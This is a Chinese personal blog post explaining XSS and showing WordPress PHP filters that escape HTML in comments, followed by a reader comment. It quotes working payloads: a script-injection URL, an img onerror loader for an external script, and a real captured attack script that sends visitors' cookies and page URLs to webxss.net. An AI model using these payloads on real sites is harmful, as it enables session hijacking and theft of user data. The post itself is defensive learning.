saber酱的抱枕

Fly me to the moon

08/31
08:00
学习

简单的了解XSS攻击

XSS表示Cross Site Scripting(跨站脚本攻击),是指攻击者向目标站点注入HTML标签或脚本。

简单的示例如下:

简单的了解XSS攻击

http://127.0.0.1/t/index.html?%3Cscript%3Ealert(%27xx%27)%3C/script%3E

%3C和%3E是尖括号<和>。如果我们没有对XSS攻击的隐患进行处理,那么打开这个url,结果如下:

简单的了解XSS攻击

为什么呢?因为问号后面的部分将被解析为script标签,里面想放什么内容都可以,甚至也可以引入外部文件。

简单的防范办法是把提交内容里的尖括号替换为HTML实体。如:

str.replace(/</g,"&lt;").replace(/>/g,"&gt;");

这样,尖括号已经不再是标签,而是一个普通字符了(虽然看起来是没有区别的),它里面的内容也不会被当做代码执行。


img标签页也经常被用来进行XSS攻击。例如我们可以在页面上插入一个img,以此引入任意的外部js文件:

<img src='x' onerror=appendChild(createElement('script')).src='http://127.0.0.1/t/t.js' />

我刚才用恶意图片这种攻击方法发了条评论,结果在前台页面是可以执行的QAQ 吓得我赶紧去改了。在function.php中加入以下代码:

//输出前台评论时转义HTML代码
function plc_comment_display( $comment_to_display ) {
 $comment_to_display = str_replace( '<', "&lt;", $comment_to_display );
 $comment_to_display = str_replace( '>', "&gt;", $comment_to_display );
 return $comment_to_display;
}
add_filter( 'comment_text', 'plc_comment_display', '', 1);
add_filter( 'comment_text_rss', 'plc_comment_display', '', 1);
add_filter( 'comment_excerpt', 'plc_comment_display', '', 1);

这样恶意代码在前台也无法执行了,而且还原形毕露。这个代码的缺点就是以后评论里不能使用HTML标签了。

XSS虽然很坑爹,但js代码毕竟是要在浏览器里执行的,只要我们做好XSS的防范处理,让这些攻击在前台页面里执行不了,也就ok了。

ps:如果需要在评论提交时也转义一次HTML代码,可以由前台来做,也可以由后台做。向function.php里加代码:

//提交评论时转义HTML代码
function plc_comment_post( $incoming_comment ) {
 $incoming_comment['comment_content'] = htmlspecialchars($incoming_comment['comment_content']);
 $incoming_comment['comment_content'] = str_replace( "<", '&lt;', $incoming_comment['comment_content'] );
 $incoming_comment['comment_content'] = str_replace( ">", '&gt;', $incoming_comment['comment_content'] );
 return( $incoming_comment );
}
add_filter( 'preprocess_comment', 'plc_comment_post', '', 1);

由于我的后台之前已经有转义处理了,所以我没有启用这部分的代码。


说来可巧,我才了解了下xss,就马上遇到了一起xss攻击。今天在我管理的某网站上,也是有人通过表单提交了xss攻击的代码,可惜的是后台自带处理,他的攻击没能生效。而且那个表单的数据也不会在前台展示,因此不会影响到在线访客。

那个恶意代码提交后,后台查看如下(后台已经转义):

&lt;/textarea&gt;‘&quot;&gt;&lt;sc<x>ript src=http://t.cn/RqWCoIS&gt;&lt;/sc<x>ript&gt;

攻击者想引入一个外部js文件的计划落空了。那个这个短网址到底是什么呢?打开短网址,跳转到了http://webxss.net/iNYIsC?1461722211,输出如下js代码:

(function() {
	(new Image()).src = 'http://webxss.net//index.php?do=api&id=iNYIsC&location=' + escape((function() {
		try {
			return document.location.href
		} catch (e) {
			return ''
		}
	})()) + '&toplocation=' + escape((function() {
		try {
			return top.location.href
		} catch (e) {
			return ''
		}
	})()) + '&cookie=' + escape((function() {
		try {
			return document.cookie
		} catch (e) {
			return ''
		}
	})()) + '&opener=' + escape((function() {
		try {
			return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
		} catch (e) {
			return ''
		}
	})());
})();
if ('1' == 1) {
	keep = new Image();
	keep.src = 'http://webxss.net//index.php?do=keepsession&id=iNYIsC&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};
x = new Image();
x.src = "http://webxss.net//authtest.php?id=iNYIsC&info=1";

攻击者从http://webxss.net/引入js代码,并盗取cookie信息,再发送给攻击者iNYIsC。

这个网站号称仅用于安全测试。啧啧啧,厉害了我的哥

简单的了解XSS攻击

  1. whuxga
    Google Chrome 52Google Chrome 52Windows 7 x64 EditionWindows 7 x64 Edition

    而且你别用wordpress

    会被kali里的wpscan暴力破解

    但是只要密码够叼 一般是不会被破

    破解进后台以后会给你上木马

    之后远程操控你电脑

    肉鸡了

    最简单的防御办法其实

    就是装安全狗 或者让网上专业的防范人员帮你防御

    就这些

    回复